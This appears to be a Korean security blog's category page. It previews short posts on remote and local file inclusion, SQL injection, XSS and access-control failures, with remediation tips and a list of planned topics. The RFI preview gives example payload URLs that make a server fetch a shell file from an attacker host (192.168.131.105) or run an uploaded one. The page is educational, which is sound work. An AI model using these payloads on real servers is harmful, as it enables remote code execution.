본문 바로가기

보안관련/취약점

(5)
4. 악성파일 실행, LFI, RFI ( Remote File Include ) Remote File Include는 서버 외부에 존재하는 공격자가 악성 스크립트를 서버에 전달하여 코드가 해석,실행되게 하는 공격이다. 서버가 코드를 실행한다는 점에서 방법으로써 부를 때 XSS, 해당 문제를 직접 가르킬 때 RFI라고 표현하기도 한다. /Index.php?loading="http://192.168.131.105/shellobject.txt /Index.php?loading="C:\www\ftproot\userfile\shellobject 위는 서버가 직접 공격자의 클라이언트(서버)로 접속하여 쉘코드를 받아오게 만들 수 있으며, 아래는 다운로드된 혹은 공격자에 의해 업로드된 쉘코드를 실행하게 만들 수 있다. 『 해결 방법 』 allow_url_fopen, include 옵션 설정, ph..
3. SQL Injection 어플리케이션에 사용자가 서버로 문구를 전송할 수 있을 경우, SQL문구를 삽입하여 데이터베이스를 악의적으로 조작하는 방법이다. 과거 SQL은 prepared statement의 부재로 오류 메시지를 클라이언트 단에 직접 전송하는 경우가 있었다, 이에 사용자가 오류메시지에 따른 데이터 베이스 상태를 확인할 수 있어 공격자가 해당 데이터베이스의 테이블 구조, 그리고 중요 정보에 대한 색인 또한 가능하게 되는 문제점이 있었다. 근래는 대다수의 데이터베이스 프레임워크에서 Prepared statement, 객체를 적용하여 우선 쿼리로써 적용하지 않고 구문분석 이후 바인딩된 데이터를 컴파일러등으로 처리하게 되므로 의미있는 쿼리로써 사용할 수 없다.
2. XSS (사이트 간 스크립팅) XSS (사이트간 스크립팅), 영문명칭 (cross-site scripting) 은 악성 사용자가 페이지, 혹은 어플케이션에서 서버에 악성스크립트를 가진 문장, 쿼리등을 보내는 취약점을 의미한다. 사용자는 해당 페이지, 링크 등을 실행하게 될 경우, 악성 스크립트가 실행이 될 우려가 있다. XSS의 큰 흐름은 악성코드가 삽입된 파일등을 게시하여 시스템 명령어 실행을 유도하는 것으로 설명된다. 가장 기본적인 방법으로 사용자에게 저장된 Script를 실행시키는 방법에서부터 구문 분석 취약점을 병행 이용하여 사용자에게 허용되지 않은 알림창 정도를 띄우는 것에서부터 쿠키,세션 정보의 탈취나 쉘 권한 탈취, Botnet 공격으로까지 이어질 수 있어 주의를 요한다. 『 Stored XSS 』 위 그림에서 설명된 사..
1. URL 접근 통제 실패 인증 페이지, 혹은 접근 불가능한 사항이 존재하는 페이지에 대한 인증 혹은 예외처리가 제대로 구비되어 있지 않아 인증 우회로 접속 가능한 경우 발생한다. 그림은 세션이 없는 사용자가 URL을 통해 관리자 페이지에 접근할 수 있는 상황으로 페이지 접속 중 세션에 따른 적절한 검토조치가 없을 경우 중요 정보를 담고 있는 페이지가 노출될 수 있다. 『 해결 방법 』 해당 페이지의 연결 주소[내용]를 권한이 없는 사용자들에게 보여주지 않는다. 모든 접근 통제의 검사는 중요 정보가 노출되기 전에 선행절차로써 이루어져야 한다.
기술순서 1. URL 접근 제한(통제) 실패 2. XSS 3. Injection Flaws ( sql injection ) 4. 악성코드 실행 5. 하드코딩된 중요정보 및 평문전송 6. 통신 불안정 7. 인증 취약점, 세션취약점 8. 버퍼 오버플로우 9. 포맷스트링 취약점 10. 캡슐화 문제 11. 개발단계의 코드 문제 (널 포인터 역참조, 해제 자원 사용, 미초기화 변수 사용 등 ) 12. 에러처리 문제